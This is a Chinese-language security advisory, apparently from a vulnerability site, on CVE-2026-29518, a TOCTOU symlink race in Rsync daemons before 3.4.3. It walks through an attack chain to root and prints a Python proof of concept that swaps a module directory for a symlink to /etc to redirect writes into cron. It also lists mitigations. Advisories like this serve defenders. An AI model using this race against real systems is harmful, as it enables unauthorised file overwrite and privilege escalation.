IPBUF安全漏洞报告
English
CVE-2026-29518 CVSS 7.0 高危

CVE-2026-29518 Rsync 任意文件写入漏洞

披露日期: 2026-05-20

漏洞信息

漏洞编号
CVE-2026-29518
漏洞类型
TOCTOU竞态条件
CVSS评分
7.0 高危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Rsync

相关标签

TOCTOU竞态条件任意文件写入权限提升RsyncSymbolic Link

漏洞概述

Rsync 3.4.3 之前的版本中存在检查时间到使用时间(TOCTOU)竞态条件漏洞。该漏洞位于守护进程文件处理逻辑中,允许攻击者通过符号链接替换父目录组件,将文件写入重定向到预期目录之外。攻击者若拥有模块路径的写权限,即可利用此竞态条件创建或覆盖任意文件,可能导致特权提升。

技术细节

该漏洞的核心原理在于 Rsync 守护进程在处理文件传输请求时存在检查时间到使用时间(TOCTOU)竞态条件。在未启用 chroot 配置的环境下,拥有模块路径写权限的攻击者,可以在守护进程检查目标路径合法性之后、实际执行写入操作之前的极短时间窗口内,通过竞态操作将父目录组件替换为指向其他位置的符号链接。这种“偷梁换柱”的手段使得文件写入操作被重定向到预期的目录范围之外,从而允许攻击者创建或覆盖系统中的任意文件。鉴于 rsync 常以较高权限运行,该漏洞极易被利用进行本地特权提升,威胁系统安全。

攻击链分析

STEP 1
侦察
攻击者识别出目标系统运行着未启用 chroot 的 Rsync 守护进程,且版本低于 3.4.3。
STEP 2
获取访问权限
攻击者获取到 Rsync 共享模块路径的写权限(低权限账户即可)。
STEP 3
利用竞态条件
攻击者在 Rsync 接收文件传输请求期间,利用 TOCTOU 竞态条件,在路径检查后、写入前瞬间将父目录替换为指向敏感目录(如 /etc)的符号链接。
STEP 4
写入任意文件
Rsync 守护进程将文件内容写入被重定向的路径,导致攻击者可覆盖系统关键文件(如 /etc/passwd 或 crontab)。
STEP 5
权限提升
通过覆盖敏感配置文件或密钥,攻击者获得 root 权限,完全控制系统。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import os import time import threading # Target file to overwrite (e.g., root's crontab) TARGET_FILE = "/etc/cron.d/root_poc" # Shared module path where we have write access MODULE_PATH = "/srv/rsync/share" # Directory name inside module to be swapped DIR_NAME = "subdir" def setup(): """Create the initial directory structure.""" if not os.path.exists(MODULE_PATH): os.makedirs(MODULE_PATH) os.makedirs(os.path.join(MODULE_PATH, DIR_NAME)) def race_condition(): """ Simulate the TOCTOU race condition. Continuously swap the directory with a symlink to trick rsync. """ real_dir = os.path.join(MODULE_PATH, DIR_NAME) symlink_target = "/etc" # Redirect writes to /etc while True: try: # Step 1: Replace real directory with symlink to /etc if os.path.exists(real_dir) and not os.path.islink(real_dir): os.rmdir(real_dir) os.symlink(symlink_target, real_dir) # Hold the symlink state briefly to catch the check time.sleep(0.005) # Step 2: Revert to real directory to avoid detection/failure if os.path.islink(real_dir): os.unlink(real_dir) os.makedirs(real_dir) time.sleep(0.005) except Exception as e: # Ignore errors due to race state continue if __name__ == "__main__": setup() # Start the race condition thread t = threading.Thread(target=race_condition) t.daemon = True t.start() print("[+] Race condition started. Trigger rsync upload now...") print("[+] Attempting to write to", os.path.join(MODULE_PATH, DIR_NAME, "payload_file")) # Keep script running while True: time.sleep(1)

影响范围

Rsync < 3.4.3

防御指南

临时缓解措施
如果无法立即升级,请确保 rsync 守护进程配置文件中严格启用了 'chroot' 选项,并审查文件系统权限,确保非特权用户无法对共享目录进行写入操作。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表